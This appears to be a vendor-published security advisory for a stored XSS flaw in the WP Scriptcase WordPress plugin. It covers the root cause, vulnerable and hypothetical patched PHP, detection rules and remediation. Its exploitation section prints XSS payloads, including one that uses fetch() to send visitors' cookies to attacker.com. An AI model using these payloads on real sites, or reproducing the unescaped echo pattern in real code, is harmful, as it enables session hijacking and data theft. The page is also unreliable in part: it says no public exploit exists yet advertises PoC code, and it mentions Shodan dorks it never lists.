CVE-2025-8691
Executive Summary
CVE-2025-8691 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WP Scriptcase WordPress plugin, affecting all versions up to and including 2.0.0. The flaw resides in the plugin's handling of the url parameter, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload, leading to potential session hijacking, data theft, or defacement. The vulnerability is classified as medium severity (CVSS 6.4) and currently has no known public exploit or patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Wp scriptcase) and consider removing the plugin if no patch is forthcoming. The lack of OSV or GitHub advisory data indicates limited open-source visibility, increasing supply chain risk for sites relying on this plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is medium due to the requirement for authenticated access, but the potential for widespread impact on WordPress sites using this plugin is significant.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the WordPress ecosystem. The url parameter, likely used for embedding external links or resources, is not properly sanitized before being stored in the database. When the plugin renders this parameter on a page, it fails to escape the output, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An authenticated user with Contributor-level access creates or edits a post/page using the WP Scriptcase plugin.
- The attacker supplies a malicious payload in the
urlparameter, e.g.,javascript:alert('XSS')or a crafted<script>tag. - The plugin stores the payload in the WordPress database without sanitization.
- When any user (including administrators) views the affected page, the payload executes in their browser context.
Root Cause: The plugin uses echo $url; or similar without applying esc_url() or esc_html() functions, and does not validate the input against a whitelist of allowed URL schemes.
Vulnerable vs. Patched Code
Vulnerable Code (wp-scriptcase.php, line ~45):
$url = $_POST['url'];
// No sanitization
echo '<a href="' . $url . '">Link</a>';
Patched Code (hypothetical):
$url = esc_url_raw($_POST['url']);
// Validate URL scheme
if (wp_http_validate_url($url)) {
echo '<a href="' . esc_url($url) . '">Link</a>';
} else {
echo 'Invalid URL';
}
The patch would use esc_url_raw() for database storage and esc_url() for output, along with validation to ensure only safe URL schemes (http, https) are allowed.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with WP Scriptcase plugin <= 2.0.0
- Authenticated user with Contributor role or higher
Exploit Steps:
- Log in as a Contributor.
- Navigate to a page or post editor that uses the WP Scriptcase shortcode or block.
- In the
urlparameter, inject a payload such as:
or for session hijacking:"><script>alert(document.cookie)</script>"><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Save the post/page.
- Any visitor to that page will trigger the XSS.
No public exploit code is available for this CVE.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual
urlparameter values in POST requests to WordPress admin pages. - Look for patterns like
<script>,onerror=, orjavascript:in theurlfield. - Use Web Application Firewall (WAF) rules to block common XSS payloads.
Hardening:
- Disable the WP Scriptcase plugin until a patch is released.
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wp-scriptcase/wp-scriptcase.php(vulnerable file) - Database: Posts/pages containing malicious
urlmeta values with script tags - Network: Outbound requests to attacker-controlled domains from compromised WordPress instances
- Logs: WordPress debug logs showing
urlparameter with non-standard values
Detection Engineering
YARA Rule
rule wp_scriptcase_stored_xss {
meta:
description = "Detects malicious URL parameter in WP Scriptcase plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8691"
strings:
$xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
$xss_event = /on\w+\s*=\s*["'][^"']*["']/i
$js_protocol = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: WP Scriptcase Stored XSS via URL Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the url parameter in WP Scriptcase plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: '/wp-admin/admin-ajax.php'
http.body|contains: 'action=wp_scriptcase_save'
http.body|contains|re: '(<script|onerror=|javascript:)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in URLs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"WP Scriptcase Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_scriptcase_save"; http_client_body; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Review and clean any posts/pages created by Contributor-level users for malicious content.
- Reset passwords for all Contributor-level accounts if compromise is suspected.
Long-term Fix:
- Apply the vendor's patch when released (currently UNKNOWN).
- If no patch is forthcoming, consider replacing the plugin with an alternative.
Compensating Controls:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers.
- Use WordPress security plugins (e.g., Wordfence) to monitor for XSS attempts.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.